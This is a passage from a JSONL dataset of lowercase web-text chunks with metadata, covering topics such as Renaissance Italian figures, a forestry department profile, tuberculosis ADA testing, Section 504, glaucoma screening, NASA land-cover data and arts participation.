medici, which was one of the most prosperous and respected banks in europe. in 1434, the medici family became unofficial head of the state of florentine republic. the senior branch of the family ruled until 1537, when alessandro de ' medici was assasinated, whereby the junior branch of the family took marco polo was a trader and explorer who was born on september 15, 1254 and died on january 8, 1324. he was one of the first to travel to china and visit kublai khan ( grandson of genghis khan ). durante degli alighieri ( known as dante ) was a poet from florence, italy. he was born june 1, 1265, and died september 13 / 14, 1321. he is known for his work, the divine comedy, of which the part inferno is most widely known. it is considered europe ' s greatest literary statement from the medieval period. | gattamelata by donatello, from \" donatello \" by wikipedia, 2006. donatello ( donato di niccolo di betto bardi ) was born in 1386 and died on december 13, 1466. he was a famous sculptor and artist of florence in the early renaissance. famous statues include gattamelata, and david. leone battista alberti was an italian painter, poet, linguist, philosopher, cryptographer, musician, architect, and polymath during the italian renaissance. he was born february 14, 1404 and died april 25, 1472. he was educated at the university of bologna in law, and toured europe during his twenties. he is famous for the first study of scientific perspective, and for numerous architectural buildings. alessandro di mariano filipepi ( otherwise known as sandro botticelli ), was born on march 1, 1445 and died on may 17, 1510. he was a painter of the florentine school during the early renaissance. he is most famous for his painting, the birth of venus. cristoforo columbo ( christopher columbus ) was born in 1451 and died may 20, 1506. he was an explorer and trader who sailed to america, reaching it on october 12, 1492. his discovery", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4379128558204843, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.253442"} {"text": "birth of venus. cristoforo columbo ( christopher columbus ) was born in 1451 and died may 20, 1506. he was an explorer and trader who sailed to america, reaching it on october 12, 1492. his discovery initiated the colonization of the americas. leonardo da vinci was born april 15, 1452 and died may 3, 1519. he was an italian renaissance architect, musician, anatomist, inventor, engineer, sculptor, geometer, and painter. he is well known for his paintings the last supper and the mona lisa, as well as his studies of anatomy. amerigo vespucci is famous for voyaging to and writing about the americas. he was born march 9, 1454 and died february 22, 1512. he was an italian merchant and cartographer ( map maker ). he discovered the new continent of south america under disbelief from the general population that anything but east asia would be reached by sailing west. michelangelo di lodovico buonarroti simoni was born march 6, 1475 and died february 18, 1564. he was a renaissance sculptor, architect, painter and poet. he painted the ceiling of the sistine chapel, sculpted the famous david and pieta, and designed the dome of st. peter ' s basilica in rome. | the ceiling of the sistine chapel, from \" the sistine chapel \" by wikipedia, 2006. raphael was born april 6, 1483 and died april 6, 1520. he was a master painter and architect in the italian high renaissance, of the florentine school. he is reknowned for the perfection and softness of his paintings, which include madonna and galileo galilei was an italian astronomer, astrologer, physicist, and philospher closely associeted with the scientific revolution. he was born february 15, 1564 and died january 8, 1642. he improves the telescope, observed various aspects of astronomy, developed the first and second laws of motion, and found proof to support copernicanism. the conflict galileo experienced with the roman catholic church is seen as an example of the freedom of though conflict. antonio lucio vivaldi was a baroque music composer and italian priest. he was born on march 4, 1678 and died july 28, 1741. he is known for having composed over 500 concertos, 46 operas, 73 sonatas, as well as symphonies, chamber music, and sacred music. mis most famous work is gloria. giacomo antonio domenico michele second", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4537411681854164, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.254342"} {"text": "forestry is an important and interesting subject of study. forests form part of the vital natural resources of a country. from time immemorial forest resources have been a source of human sustenance. they are home to the most amazing herbs, medicinal compounds, natural cosmetics etc. forestry and wild life go together since forests serve as home for wildlife. forest wealth also contributes significantly to the economy of the country. specially trained personnel are therefore needed to maintain and regenerate the forest cover, forest wealth and resources. this involves the services of forestry specialists, forestry management experts and forest officers. the department of forestry was in the year 2002 as one subject in bachelor of science, keeping in view that chattisgarh a very wide rich forest cover and there is need of conserving and finding out the new techniques and management for the utilization of forest product. the syllabi include study of all segments of forestry and environment studies with a view to provide better knowledge and techniques to the students, the department organizes lectures by eminent persons, seminars, excursion to plantation areas, forest nurseries to make the subject better understood. aims and objective the aim is to produce the forester with qualitative and result oriented approach towards the nation and society. it also aims to fulfill the demands of forest and increases the production of forest products by the new means of tools and techniques. carrying out research and developing technology for increasing productivity and production in forestry and medicinal plant. reduction in pollution. development of nursery techniques of various species to get quality planting stock for rehabilitation of degraded areas. rehabilitation of mined areas. the department has its own room, share the common classroom of colleges,. having all the practical apparatus, which are required according to the syllabus. the college central library has large number of forestry books and reference books, the library has a large numbers of botany books, which are used by the students of forestry for their reference. activity of department sunil kumar tiwari head, department of forestry and environment studies kamla nehru college, raniroad, korba phone - 07759 - 247109, fax - 07759 - 247222 to be a committed professional with qualitative and result oriented approach towards the set objective of an organization. assistant professor of forestry in k. n. college korba area of interest in the field of forestry. specially on the cultivation and identification and collection of medicinal plants m. sc forestry ( wildlife and environmental science ) from ggd. university bilaspur ( 1999 ). graduation b. sc (", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4584385587542443, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.258984"} {"text": "korba area of interest in the field of forestry. specially on the cultivation and identification and collection of medicinal plants m. sc forestry ( wildlife and environmental science ) from ggd. university bilaspur ( 1999 ). graduation b. sc ( bio ) - from ggd. university bilaspur ( 1997 ). h. s. sc. from m. p. board bhopal ( 1994 ) s. sc. from m. p. board bhopal ( 1992 ) certificate course in computer science from l. c. c. bilaspur ( c. g. ) in ( 1999 ). dissertation - socio - economic potential of minor forest produce in achanakmar and kota region of bilaspur forest division. national seminar on the topic \" biodiversity and its conservation ' ' national seminar on the topic \" forest and forestry techniquies ' ' organised by department of forestry, g. g. d. university bilaspur. workshop on future aspects for promoting cultivation of medicinal plant organised by baidyanath ayurved limited jhansi. monitered the ism & h programme in two districts of ( u. p. ) namely allahabad and banda. invited speaker and subject expert in the national children science congress on the topic terrestial biodiversity and protection biodiversity. judge in national children science congress at korba district and state level. experience 1. six years teaching experience in forestry and environment studies subject. 2. extension training. education of people in the field of forestry and environment. 3. collection of germplasm, raising of nursery, growing of quality planting material, integrated watershed development programme and afforestation programme.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4428237455124214, "token_count": 341, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.259582"} {"text": "pub. date : 2008 | online pub. date : april 25, 2008 | doi : 10. 4135 / 9781412963893 | print isbn : 9781412958783 | online isbn : 9781412963893 | publisher : sage publications, inc. about this encyclopedia impacts of global warming impacts from the phenomenon known as global warming include environmental, social, and economic effects. environmental impacts include sea - level rise, melting of the polar ice caps, and an average increase in temperature. these impacts are documented in the reports of the intergovernmental panel for climate change ( ipcc ), which commissions reports by scientists worldwide on the issue of climate change. the ipcc report of 2007 is the first one that reflects scientific consensus that global warming is underway, and that it is primarily human induced. for example, human activities, such as fossil fuel burning, land - use changes, agricultural activity, and the production and use of halocarbons are among the factors causing climate change. the economic report by nicholas stern in 2007 highlights that climate change has potentially disastrous consequences for humanity. perhaps best known, is that temperature variability, specifically temperature increase, will be one of the effects of climate change. while the range...", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4963654048913223, "token_count": 257, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.262495"} {"text": "at a glance why get tested? to help detect or rule out a mycobacterium tuberculosis infection in pleural fluid in order to assist in the diagnosis of tuberculosis ; rarely to detect the infection in other body fluids such as peritoneal fluid or cerebrospinal fluid ( csf ) when to get tested? when a doctor suspects that someone with chest pain, coughing, and / or difficulty breathing has tuberculosis that has spread to their pleurae ( lining around the lungs ) a volume of pleural fluid is collected by a doctor using a procedure called thoracentesis ; other body fluids are collected using other procedures test preparation needed? the test sample what is being tested? adenosine deaminase ( ada ) is a protein that is produced by cells throughout the body and is associated with the activation of lymphocytes, a type of white blood cell that plays a role in the immune response to infections. conditions that trigger the immune system, such as an infection by mycobacterium tuberculosis, the bacteria that causes tuberculosis ( tb ), may cause increased amounts of ada to be produced in the areas where the bacteria are present. this test measures the amount of adenosine deaminase present in pleural fluid in order to help diagnose a tuberculosis infection of the pleurae. pleurae are membranes that cover the chest cavity and the outside of each lung. small amounts of pleural fluid are continuously produced to lubricate the movement of the lungs against these membranes and the membranes against each other during inhalation and exhalation. a variety of conditions and diseases, including infection, can cause inflammation of the pleurae ( pleurisy or pleuritis ) and can lead to excessive pleural fluid accumulation ( pleural effusion ). tuberculosis can spread into the lungs and pleurae, causing symptoms such as chest pain, chronic cough, and shortness of breath. since these symptoms may also be seen with a variety of other conditions, it is important to determine the cause as rapidly as possible in order to properly treat the affected person. detecting mycobacteria in pleural fluid can be difficult because there may be a large volume of fluid and very low numbers of bacteria present. though the ada test is not specific and does not replace the culture for diagnosing tb, it may be positive even when numbers of bacteria are very low and can be used as an adjunct test to help determine whether tuberculosis is the likely source", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4599347041204768, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.269726"} {"text": "present. though the ada test is not specific and does not replace the culture for diagnosing tb, it may be positive even when numbers of bacteria are very low and can be used as an adjunct test to help determine whether tuberculosis is the likely source of a person ' s symptoms. how is the sample collected for testing? a sample of pleural fluid is collected by a doctor with a syringe and needle using a procedure called thoracentesis. rarely, other body fluid samples, such as peritoneal or csf, are collected using procedures specific to the fluid type. note : if undergoing medical tests makes you or someone you care for anxious, embarrassed, or even difficult to manage, you might consider reading one or more of the following articles : coping with test pain, discomfort, and anxiety, tips on blood testing, tips to help children through their medical tests, and tips to help the elderly through their medical tests. another article, follow that sample, provides a glimpse at the collection and processing of a blood sample and throat culture. is any test preparation needed to ensure the quality of the sample? no test preparation is needed. ask a laboratory scientist this form enables you to ask specific questions about your tests. your questions will be answered by a laboratory scientist as part of a voluntary service provided by one of our partners, american society for clinical laboratory science. if your questions are not related to your lab tests, please submit them via our contact us form. thank you. * indicates a required field note : this article is based on research that utilizes the sources cited here as well as the collective experience of the lab tests online editorial review board. this article is periodically reviewed by the editorial board and may be updated as a result of the review. any new sources cited will be added to the list and distinguished from the original sources used. herchline, t. and chavis, p. ( updated 2012 march 22 ). tuberculosis. medscape reference [ on - line information ]. available online at http : / / emedicine. medscape. com / article / 230802 - overview through http : / / emedicine. medscape. com. accessed april 2012. chegou, n. et. al. ( 2011 may 27 ). tuberculosis assays : past, present and future. medscape today news from expert rev anti infect ther. 2011 ; 9 ( 4 ) : 457 - 469 [ on - line information ]. available online at http", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4742922317332186, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.270780"} {"text": "27 ). tuberculosis assays : past, present and future. medscape today news from expert rev anti infect ther. 2011 ; 9 ( 4 ) : 457 - 469 [ on - line information ]. available online at http : / / www. medscape. com / viewarticle / 741840 through http : / / www. medscape. com. accessed april 2012. saleh, m. et. al. ( 2012 april ). use of adenosine deaminase measurements and quantiferon in the rapid diagnosis of tuberculous peritonitis. j med microbiol v 61 ( 4 ) abstract [ on - line information ]. available online at http : / / jmm. sgmjournals. org / content / 61 / pt _ 4 / 514. short? rss = 1 through http : / / jmm. sgmjournals. org. accessed april 2012. hanson, k. ( updated 2011 march ). mycobacterium tuberculosis \u2013 tb. arup consult [ on - line information ]. available online at http : / / www. arupconsult. com / topics / tb. html? client _ id = ltd through http : / / www. arupconsult. com. accessed april 2012. baba, k. et. al. ( 2008 july ). adenosine deaminase activity is a sensitive marker for the diagnosis of tuberculous pleuritis in patients with very low cd4 counts. plos one v 3 ( 7 ) : e2788 [ on - line information ]. available online at http : / / www. ncbi. nlm. nih. gov / pmc / articles / pmc2464737 / through http : / / www. ncbi. nlm. nih. gov. accessed april 2012. laniado - laborin, r. ( 2005 feberuary ). adenosine deaminase in the diagnosis of tuberculous pleural effusion, is it really an ideal test? a word of caution. chest v 127 ( 2 ) 417 - 418 [ on - line information ]. available online at http : / / chestjournal. chestpubs. org / content / 127 / 2 / 417. full. html through http : / / chestjournal. chestpubs. org. accessed april 2012. jimenez castro, d. et", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44330855458387886, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.271530"} {"text": "/ / chestjournal. chestpubs. org / content / 127 / 2 / 417. full. html through http : / / chestjournal. chestpubs. org. accessed april 2012. jimenez castro, d. et. al. ( 2003 february 1 ). diagnostic value of adenosine deaminase in nontuberculous lymphocytic pleural effusions. eur respir j 2003 ; 21 : 220 \u2013 224 [ on - line information ]. available online at http : / / www. ersj. org. uk / content / 21 / 2 / 220. full through http : / / www. ersj. org. uk. accessed april 2012. gupta, b. et. al. ( 2010 october ). adenosine deaminase levels in csf of tuberculous meningitis patients. j clin med res. 2010 october ; 2 ( 5 ) : 220 \u2013 224. [ on - line information ]. available online at http : / / www. ncbi. nlm. nih. gov / pmc / articles / pmc3104661 / through http : / / www. ncbi. nlm. nih. gov. accessed april 2012. ( reviewed 2008 february ). adenosine deaminase deficiency. genetics home reference [ on - line information ]. available online at http : / / ghr. nlm. nih. gov / condition / adenosine - deaminase - deficiency through http : / / ghr. nlm. nih. gov. accessed april 2012. hershfield, m. ( updated 2011 december 22 ). adenosine deaminase deficiency. genereviews [ on - line information ]. available online at http : / / www. ncbi. nlm. nih. gov / books / nbk1483 / through http : / / www. ncbi. nlm. nih. gov. accessed april 2012. ( \u00a9 1995 - 2012 ). test id : fada adenosine deaminase, fluid. mayo clinic mayo medical laboratories [ on - line information ]. available online at http : / / www. mayomedicallaboratories. com / test - catalog / overview / 91554 through http : / / www. mayomedicallaboratories. com. accessed april 2012. wu, a. ( \u00a9 2006 ). tietz", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47276476907441967, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.272268"} {"text": "section 504 is part of the rehabilitation act of 1973. section 504 is a federal statute that prohibits discrimination against \u201c otherwise qualified handicapped individuals \u201d in any program or activity receiving federal financial assistance, such as public schools. the main purpose of section 504 is to prohibit discrimination while assuring that disabled students have educational opportunities and benefits equal to those provided to non - disabled students. it is the responsibility of the district to evaluate and identify students who, within the scope of section 504 of the rehabilitation act of 1973 and the adaa of 2008, are identified as disabled and require special accommodations and / or services in order to receive a free appropriate education ( fape ). if a student is found not to be eligible under the individuals with disabilities education act ( idea ), the requirements of section 504 may be suitable if he / she meets the section 504 definition of a disability, which is any person who has a physical or mental impairment, which substantially limits a major life activity. any student who is suspected to be disabled and in need of accommodations not available through existing programs in order to receive a free appropriate public education may be referred by a parent, teacher, or a third party for evaluation of a suspected disability under section 504 of the rehabilitation act of 1973 and the adaa of 2008. when does a student qualify as a \u201c handicapped individual \u201d under section 504? a student is considered to be handicapped under 504 if he or she : has a \u201c physical or mental impairment which substantially limits one or more major life activities \u201d has a record of such an impairment or is regarded as having such an impairment ; is a handicapped individual protected by section 504. what is a \u201c major life activity? \u201d major life activities include : caring for one \u2019 s self, performing a manual task, walking, seeing, hearing, speaking, learning, breathing, and working. what is a \u201c record \u201d of impairment? a record of impairment may include a history of an impairment and / or a diagnosis of assessment of an impairment. when is an individual \u201c regarded \u201d as having such an impairment? when the district \u2019 s perception of, response to, reaction or attitude toward the student results in treating the student as having an impairment, that the student will be considered handicapped and protected under section 504. keeping on track with section 504 section 504 of the rehabilitation act is a federal anti - discrimination law intended to create a level playing field in regular education. it was not created to give unfair advantage. accommodations must apply only to the named impairment.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4389429803907271, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.274938"} {"text": "the purpose of screening is early diagnosis and treatment. screening tests are usually administered to people without current symptoms, but who may be at high risk for certain diseases or conditions. since glaucoma usually has no symptoms and can occur in anybody regardless of risk factors, everybody should be screened for the disease as recommended by their physician. regular eye exams by an eye care professional are the best way to screen for glaucoma. because most people experience no symptoms with glaucoma, it is important to schedule a regular eye exam. the frequency depends on your age, risk factors, and general health. see the screening guidelines below. during your eye exam, your eye care professional may do the following tests : visual acuity \u2014 this test measures how well you see at various distances. you will be asked to look at a chart of letters or numbers and identify what you see. tonometry \u2014 this test measures the pressure inside the eye. there are several types of tonometry ; in air tonometry, a puff of air is blown onto the cornea to take the measurement. another type uses a small plastic device ( goldman tonometer ) that lightly pushes against your eye in order to measure your intraocular pressure. for this test, the eye is first numbed with an eye drop, so you do not feel anything. gonioscopy \u2014 the eye care professional can see the drainage angle of your eye using a special lens. this can help determine if you are at risk for closed - angle glaucoma. pupil dilation \u2014 drops are put in your eyes that enlarge / dilate your pupils. this allows the eye care professional to see more of the inside of your eye. your close - up ( near ) vision may remain blurred for several hours afterwards and you may be sensitive to bright light. ask your doctor for a pair of sunglasses after the dilation. ophthalmoscopy \u2014 once your pupils are dilated, the eye care professional will examine your optic nerve and the rest of your retina with an instrument called an ophthalmoscope. the color and appearance of the optic nerve may indicate if damage from glaucoma is present and how extensive it is. your doctor will probably take pictures of your optic nerve for future comparison. perimetry ( visual field test ) \u2014 this test produces a map of the complete field of vision. it is used to check whether there is damage to any area of vision. since glaucoma slowly affects your peripheral, or side vision", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5109762682139999, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.279896"} {"text": ". perimetry ( visual field test ) \u2014 this test produces a map of the complete field of vision. it is used to check whether there is damage to any area of vision. since glaucoma slowly affects your peripheral, or side vision, you may not know you have any problems until detected on this test. pachymetry \u2014 your physician may measure the thickness of your cornea using a special machine called a corneal pachymeter. your eye is numbed with a drop first and it does not hurt. nerve fiber layer analysis \u2014 your doctor may use a special machine, such as an oct, gdx, or hrt, to measure the thickness of the nerve fiber around your optic nerve. this can often be compared to normative data from other people without glaucoma of your age, sex, and race. it also can be rechecked in the future to see if there is any loss of nerve fiber thickness with time. ask your doctor for guidelines specific for your individual situation. the american academy of ophthalmology recommends the following general screening guidelines healthy adults with no risk factors for eye disease : - at least once between age 20 - 29 - at least twice between age 30 - 39 - age 40 - 64 : every 2 to 4 years - age 65 and older : every 1 to 2 years you should be screened more often, or as directed by your doctor, if you : - have risk factors for glaucoma or other eye diseases - have a family member who has glaucoma - have a personal or family history of eye disease - are african american or african heritage or of latin heritage - have had a serious eye injury in the past - had eye surgery in the past - are taking a corticosteroid medication - have diabetes, high blood pressure, or other chronic illness cautionary note : if you currently have eye symptoms, you should call your provider immediately for an evaluation. in case of an emergency, call for an ambulance immediately. - reviewer : christopher cheyer, md - update date : 09 / 01 / 2011 -", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.509815251895244, "token_count": 422, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.281000"} {"text": "data and information - data initiatives - satellite sensing systems data systems for lcluc research the unprecedented large volumes of data for land use research have necessitated the development of innovative data processing, delivery and analysis systems. the evolving eos data and information system and a number of competed research opportunities such as reason and access, have provided support for data systems research and development. the modis advanced data processing system ( modaps ) at the goddard space flight center ( gsfc ) is generating land - cover related products from the daily modis instruments on board the terra and aqua platforms. data products at 250m - 1km are being reprocessed as the algorithms are improved to provide consistent data records. this system is currently being enhanced to provide modis land product distribution capabilities to augment the services provided by the nasa distributed active archive center at the eros data center to meet the needs of the modis science community. the landsat ecosystem disturbance adaptive processing system is developing procedures for automated atmospheric correction and mosaicing of landsat data and the generation of high resolution disturbance time series. the global land cover facility ( glcf ) at the university of maryland has developed a low cost system for processing and distribution of large volumes of land - cover data and enhanced data sets. similarly, the landsat. org project developed at michigan state university ( msu ) has developed a platform independent user interface and search engine for on - line purchasing, ordering and sharing of landsat data worldwide. the tropical rain forest information center at msu provides landsat derived data sets associated with monitoring tropical deforestation. in partnership with the private sector, nasa purchased a global data set of cloud - free landsat imagery for 1990 and 2000. these data were orthorectified and are easily accessible and freely available. they have greatly increased the use of landsat data for lcluc studies worldwide. in may 2003 the landsat 7 scan line corrector failed and although the instrument continues to receive data, the imagery are of limited use. with no landsat instrument ready to replace landsat 7, there is an increasing data gap, posing a critical impediment to lcluc science. the lcluc program, working with the usgs is developing a mid - decadal ( 2004 - 2006 ) high resolution global cloud - free data set to extend the previous global data sets. the data set will include data from landsat 5, aster, eo1 and landsat 7 temporal composites. this data set will include data provided by foreign ground stations and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47249723646918523, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.286692"} {"text": "cloud - free data set to extend the previous global data sets. the data set will include data from landsat 5, aster, eo1 and landsat 7 temporal composites. this data set will include data provided by foreign ground stations and possibly foreign high resolution satellites. it is hoped that international cooperation concerning this data set could provide a prototype for future international efforts to coordinate high resolution global data acquisition from the increasing number of high resolution assets in the framework of geoss. land use and land cover change studies at regional to global scales require large numbers of field sites for algorithm development and accuracy evaluation. rapid development in integration of digital camera, hand - held gps device, computer and internet make it possible for both scientific communities and citizens to collect and share geo - referenced field photos. the global geo - referenced field photo library, developed at the earth observation and modeling facility of university of oklahoma, offers the capacity for users to upload, query ( by themes and geographically ), and download geo - referenced field photos in the library. it offers interactive capacity for users to interpret and classify field photos into relevant land cover types and builds photo - based land cover database. the users can use both photos and associated databases to carry out land use and land cover analysis in a geographical information system. the users who provide field photos can decide whether individual photos are to be shared or not. this tool and the resultant photo library will enable our nasa lcluc communities to share their field photos, and promote the nasa lcluc effort in remote sensing. satellite sensing systems satellite data provide an important source of information for characterizing and monitoring land - cover and land - use change. in some regions it is the only feasible way to provide timely and reliable land - cover assessments and identify areas of rapid change. recent land - cover history also provides a point of departure for modeling land - cover change. nasa current missions for lcluc research nasa currently has sensing systems at high, medium and low resolution, which meet the lcluc program observation needs. nasa satellite systems supplement operational satellites providing systematic measurements to study long - term trends. for example, the moderate resolution imaging spectroradiometer ( modis ) instruments on the eos terra ( am ) and aqua ( pm ) platforms have significantly improved on the capabilities of the operational noaa advanced very high resolution radiometer ( avhrr ). these moderate resolution data are used to classify and characterize land - cover at the global scale and to detect land - cover change at the regional scale. they also provide daily monitoring", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4979062421551276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.287700"} {"text": "operational noaa advanced very high resolution radiometer ( avhrr ). these moderate resolution data are used to classify and characterize land - cover at the global scale and to detect land - cover change at the regional scale. they also provide daily monitoring of fire activity which is often an indicator of land - cover change. the operational defense meteorological satellite program provides a capability to map the extent of night time lights and has been used by lcluc scientists to document the extent and growth of urban areas. landsat 7 has provided the systematic high resolution observations necessary to map and quantify land - cover changes at the local to regional scale. the landsat class observations are a critical underpinning for lcluc research. the landsat 7 global acquisition strategy providing multiple cloud - free scenes each year, has facilitated land - cover studies around the world. the lcluc program has been pioneering methods for regional analysis of landsat class observations setting the stage for periodic continental and global assessments of land - cover change. in this regard, the combination of systematic moderate and high resolution satellite remote sensing provides the opportunity for global scale studies and forms the basis for a global land observing system. similarly, the nasa science programs are moving from missions to measurements with the aim of utilizing data from different instruments to address science questions. experimental measurements of limited duration are needed to better understand processes and to test new sensor technologies. for example, the earth observer 1 ( eo1 ) system has provided a test - bed for new sensor technology and spaceborne hyper - spectral remote sensing. similarly the advanced spaceborne thermal emission and reflection radiometer ( aster ) sensor has provided new high resolution thermal data collocated with modis data for improved surface characterization and validation of coarser modis thermal products. in the past experimental microwave satellite sensors operated by europe and japan have been used for mapping the extent of wetland areas. nasa lcluc research in this part of the spectrum has been limited by the absence of a current us microwave sensing system. nasa has also been exploring partnerships with industry for the commercial provision of data to meet the needs of its science community. in particular, hyperspatial data with 1 - 3m resolution from sensors such as ikonos and quickbird have been used to provide detailed validation of high resolution products. nasa future missions for lcluc research nasa as part of the integrated program office is contributing to the npoess preparatory project ( npp ). the visible infrared imaging radiometer suite ( viirs ) instrument is planned to transition modis class observations", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5153470299560381, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.288652"} {"text": "shoddy \u2022 \\ \u02c8sha - de \\ \u2022 adjective 1. of inferior workmanship and materials 2. designed to deceive or mislead either deliberately or inadvertently the word shoddy has appeared in 141 new york times articles in the past year, including on march 12 in \u201c japan \u2019 s strict building codes saved lives, \u201d by james glanz and norimitsu onishi : hidden inside the skeletons of high - rise towers, extra steel bracing, giant rubber pads and embedded hydraulic shock absorbers make modern japanese buildings among the sturdiest in the world during a major earthquake. and all along the japanese coast, tsunami warning signs, towering seawalls and well - marked escape routes offer some protection from walls of water. \u2026 unlike haiti, where shoddy construction vastly increased the death toll last year, or china, where failure to follow construction codes worsened the death toll in the devastating 2008 sichuan earthquake, japan enforces some of the world \u2019 s most stringent building codes. japanese buildings tend to be much stiffer and stouter than similar structures in earthquake - prone areas in california as well, said mr. moehle, the berkeley engineer : japan \u2019 s building code allows for roughly half as much sway back and forth at the top of a high rise during a major quake. the word of the day and its definitions have been provided by the visual thesaurus. click on the word below to map it and hear it pronounced :", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.512041812842599, "token_count": 292, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.290024"} {"text": "in the introduction to engaging art : the next great transformation of america \u2019 s cultural life, former nea chair and current interim chair bill ivey writes about piano sales in 1909 : 364, 545, \u201c an impressive total in a country with a population of less than 100 million. \u201d by 1934, \u201c sales had plunged to just over 34, 000 instruments. \u201d yes, you read that correctly : over a 90 % drop in sales in twenty - five years. what had happened? phonographs, radios and movies. \u201c through much of the nineteenth century, \u201d ivey writes, \u201c the piano had served as the nation \u2019 s archetypal cultural hearth, and images of a family sing or an informal after - dinner performance of a classical piece by a young music student were staples of american domesticity. then, the ability to sing or play music and, for that matter, drawing and the writing and recitation of poetry were considered everyday skills, integrated into family life as thoroughly as sewing or the canning of autumn garden produce. \u201d music education embraced this trend, \u201c following the rush toward cultural consumption by shifting its attention away from teaching young people to make music, mostly through ensemble singing, toward an alternative that could best be described as the intelligent enjoyment of music \u2014 that is, what came to me known as music ( or art for that matter ) appreciation \u2026. henceforth, the requirement to draw, sing, act, recite, play, or otherwise perform in the arts would be replaced by some form of consumption \u2026 if we think of our expressive life as divided between culture we create and culture we take in, the commoditization of art pumped up consumption \u2014 the taking in or art \u2014 while simultaneously undermining art making. \u201d patrick overton describes this shift as being from \u201c art as process, citizen as participant \u201d to \u201c art as product, citizen as patron, \u201d and he calls for a reversal of this trend. i agree wholeheartedly. the < 100k project is not about creating arts organizations to provide events for small and rural communities ( a sort of artistic wal - mart ), but rather to reinvigorate the diy spirit that once permeated our society. the emphasis on buying our art and entertainment from \u201c specialists \u201d has led to dependence and passivity. it \u2019 s led to just about everybody giving up the creative process because \u201c i can \u2019 t sing, \u201d or \u201c i can \u2019 t draw, \u201d or \u201c i can \u2019 t read out loud. \u201d it has removed", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4811622715080164, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.296318"} {"text": "dependence and passivity. it \u2019 s led to just about everybody giving up the creative process because \u201c i can \u2019 t sing, \u201d or \u201c i can \u2019 t draw, \u201d or \u201c i can \u2019 t read out loud. \u201d it has removed the personal element from the creative act, the \u201c gift \u201d ( to use lewis hyde \u2019 s term ) that makes something \u201c special \u201d ( to use ellen dissanayake \u2019 s term ). instead, what we have is a transaction between strangers. if you are looking for evidence that we are uneasy with this transaction between strangers, one need look no further than the magazine stand in the supermarket checkout line, where we are bombarded with entire magazines devoted to making us feel as if we actually know the \u201c celebrities \u201d from whom we buy our art. we \u2019 ve never met brad pitt, but thanks to people magazine, we think we know him. it is a poor substitute. likewise, arts appreciation is a poor educational substitute for hands - on experience. in the first chapter of engaging arts, co - editor steven tepper examines the effects of demographics, educational level, geography, and hands - on arts education as they affect both arts attendance and arts participation. of all of those factors, the most important by far for both attendance and participation is hands - on arts education. by far. and yet educators, myself included, continue to de - emphasize making art in favor of arts appreciation, arts literacy. and we \u2019 re upfront about this : we use as a one of the outcomes of these courses, which are ubiquitous throughout american universities, that students will be more likely to buy a ticket to an arts event. we are trying to create passive, dependent consumers, not creative citizens! why this is not only damaging to the arts ( remember, experiential arts education increases attendance as well as participation ) but to our society in general is described by ivey : \u201c creativity, the handmaiden of hands - on arts participation, is now touted as the likely engine of america \u2019 s postindustrial, m postinformation economy. according to daniel pink, editor - at - large of wired magazine [ and author of a whole new mind ], we are today entering a new age and a new economy, one that supercedes both the industrial age and 